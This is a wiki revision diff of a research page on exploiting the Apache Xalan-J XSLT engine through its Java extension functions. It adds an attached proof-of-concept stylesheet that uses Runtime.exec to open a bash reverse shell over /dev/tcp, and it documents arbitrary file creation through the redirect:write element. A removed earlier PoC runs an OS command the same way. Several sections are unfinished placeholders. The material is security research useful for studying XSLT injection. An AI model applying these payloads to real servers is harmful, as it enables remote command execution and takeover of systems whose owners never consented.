Changes for page Engine_XalanJ
on 2012/01/11 23:29
on 2012/01/12 00:11
Summary
-
Page properties (1 modified, 0 added, 0 removed)
-
Attachments (0 modified, 2 added, 0 removed)
Details
- Page properties
-
- Content
-
... ... @@ -22,7 +22,7 @@ 22 22 * Java properties disclosure 23 23 * Java environment disclosure 24 24 * Java code execution 25 -* Arbitrarycommand execution25 +* OS command execution 26 26 * File creation 27 27 * JDBC connectivity 28 28 ... ... @@ -48,20 +48,24 @@ 48 48 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 49 49 Wed Jan 11 22:45:07 CET 2012 50 50 51 -== Executionofexternalcommands==51 +== OS command execution == 52 52 53 - Thefollowingcode will executethe command"touch/tmp/hello":53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 54 54 55 -<?xml version="1.0"?> 56 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 57 - xmlns:j="http:~/~/xml.apache.org/xalan/java" 58 - exclude-result-prefixes="j" 59 - version="1.0"> 60 - <xsl:template match="/"> 61 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 62 - <xsl:variable name="a" select="j:split($c, ' = ')"/> 63 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 64 - <xsl:variable name="p" select="j:exec($r, $a )"/> 65 - No content at the moment ... 66 - </xsl:template> 67 -</xsl:stylesheet> 55 +|=Namespace|=Extension functions|=PoC 56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 57 + 58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 59 + 60 +== File creation == 61 + 62 +The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 63 + 64 +|=Namespace|=Extension element|=Parameter|=PoC 65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]\\ 66 + 67 +ccc 68 + 69 +== JDBC connectivity == 70 + 71 +xxx TODO xxx
- xalanj-java-date.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +409 bytes - Content
-
... ... @@ -1,0 +1,11 @@ 1 +<xsl:stylesheet version="1.0" 2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 + exclude-result-prefixes="date"> 5 + <xsl:output method="text"/> 6 + <xsl:template match="/"> 7 + <xsl:variable name="dateObject" select="date:new()"/> 8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 + </xsl:template> 10 +</xsl:stylesheet> 11 +
- xalanj-reverse-bash.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +1002 bytes - Content
-
... ... @@ -1,0 +1,31 @@ 1 +<xsl:stylesheet 2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:jv="http://xml.apache.org/xalan/java" 4 + exclude-result-prefixes="jv" 5 + version="1.0"> 6 + 7 + <xsl:template match="/"> 8 + 9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 + 14 +Objet "String" : 15 + <xsl:value-of select="$test"/> 16 + 17 +Objet "Array" : 18 + <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 + <xsl:value-of select="$aAsString"/> 20 + 21 +Objet "Runtime" : 22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 + <xsl:value-of select="$rtobjectAsString"/> 24 + 25 +Objet "Process" : 26 + <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 + <xsl:value-of select="$processAsString"/> 28 + 29 + </xsl:template> 30 +</xsl:stylesheet> 31 +